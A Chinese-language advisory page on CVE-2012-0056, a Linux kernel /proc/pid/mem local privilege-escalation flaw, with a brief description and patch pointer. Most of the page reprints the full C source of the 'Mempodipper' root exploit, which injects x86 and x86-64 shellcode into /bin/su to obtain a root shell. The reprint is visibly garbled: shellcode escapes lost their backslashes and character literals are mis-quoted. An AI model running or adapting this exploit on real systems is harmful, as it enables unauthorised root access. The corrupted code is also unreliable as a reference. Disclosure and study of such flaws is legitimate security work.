Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Linux Kernel write本地权限提升漏洞(CVE-2012-0056)

发布日期:2012-01-23
更新日期:2012-02-02受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.38
Linux kernel 2.6.26
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 51625
CVE ID: CVE-2012-0056Linux是自由电脑操作系统内核。Linux Kernel在SUID /proc/pid/mem write的实现上存在本地权限提升漏洞,攻击者可利用此漏洞获取提升的权限,以内核级别执行任意代码。<*来源:Juri Aedla
 
  链接:http://www.kb.cert.org/vuls/id/470151
        http://blog.zx2c4.com/749
*>测试方法:
--------------------------------------------------------------------------------
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Juri Aedla ()提供了如下测试方法:/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I"ve put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    int n;
    int sock;
    char cms[CMSG_SPACE(sizeof(int))];
    
    if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}int recv_fd()
{
    int listener;
    int sock;
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    char cms[CMSG_SPACE(sizeof(int))];    if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    unlink(socket_path);
    if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    if (listen(listener, 1) < 0)
        return -1;
    if ((sock = accept(listener, NULL, NULL)) < 0)
        return -1;
    
    iov.iov_base = buf;
    iov.iov_len = 1;    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    close(listener);
    return fd;
}int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == "-" && argv[1][1] == "c") {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%s/mem", argv[2]);
        printf("[+] Opening parent mem %s in child. ", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent. ", fd);
        send_fd(fd);
        return 0;
    }
    
    printf("=============================== ");
    printf("=          Mempodipper        = ");
    printf("=           by zx2c4          = ");
    printf("=         Jan 21, 2012        = ");
    printf("=============================== ");
    
    int parent_pid = getpid();
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent. ");
        int fd = recv_fd();
        printf("[+] Received fd at %d. ", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr. ", fd);
        dup2(2, 6);
        dup2(fd, 2);        unsigned long address;
        if (argc > 2 && argv[1][0] == "-" && argv[1][1] == "o")
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading su for exit@plt. ");
            // Poor man"s auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /bin/su|grep "exit@plt"|head -n 1|cut -d " " -f 1|sed "s/^[0]*\([^0]*\)/0x\1/"", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually. ");
                printf("[-] Usage: %s -o ADDRESS [-] Example: %s -o 0x402178 ", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx. ", address);
        }
        printf("[+] Calculating su padding. ");
        FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - su_padding;
        printf("[+] Seeking to offset 0x%lx. ", offset);
        lseek64(fd, offset, SEEK_SET);
        
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "x31xdbxb0x17xcdx80x31xdbxb0x2excdx80x31xc9xb3"
            "x06xb1x02xb0x3fxcdx80x31xc0x50x68x6ex2fx73x68"
            "x68x2fx2fx62x69x89xe3x31xd2x66xbax2dx69x52x89"
            "xe0x31xd2x52x50x53x89xe1x31xd2x31xc0xb0x0bxcd"
            "x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "x48x31xffxb0x69x0fx05x48x31xffxb0x6ax0fx05x40"
            "xb7x06x40xb6x02xb0x21x0fx05x48xbbx2fx2fx62x69"
            "x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xdb"
            "x66xbbx2dx69x53x48x89xe1x48x31xc0x50x51x57x48"
            "x89xe6x48x31xd2xb0x3bx0fx05";#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode. ");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char pid[32];
        sprintf(pid, "%d", parent_pid);
        printf("[+] Executing child from child fork. ");
        execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    }
}建议:
--------------------------------------------------------------------------------
厂商补丁:Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.kernel.org/Symantec pcAnywhere awhost32组件远程代码执行漏洞[PHP又暴重大漏洞]多语言拒绝服务漏洞事件预警相关资讯      Linux Kernel  Linux漏洞 
  • Linux Kernel 3.14系列结束支持  (今 14:24)
  • Linux kernel 2.6.32 LTS 将于下个  (01月31日)
  • Linux Kernel 4.1.15发布  (12/15/2015 20:54:13)
  • Linux Kernel 开发报告 25 周年版  (09月10日)
  • 敲击28次退格键之后:Linux漏洞可  (12/18/2015 11:22:28)
  • Red Hat Linux 修补“libuser”库  (07/26/2015 06:39:34)
本文评论 查看全部评论 (0)
表情: 姓名: 字数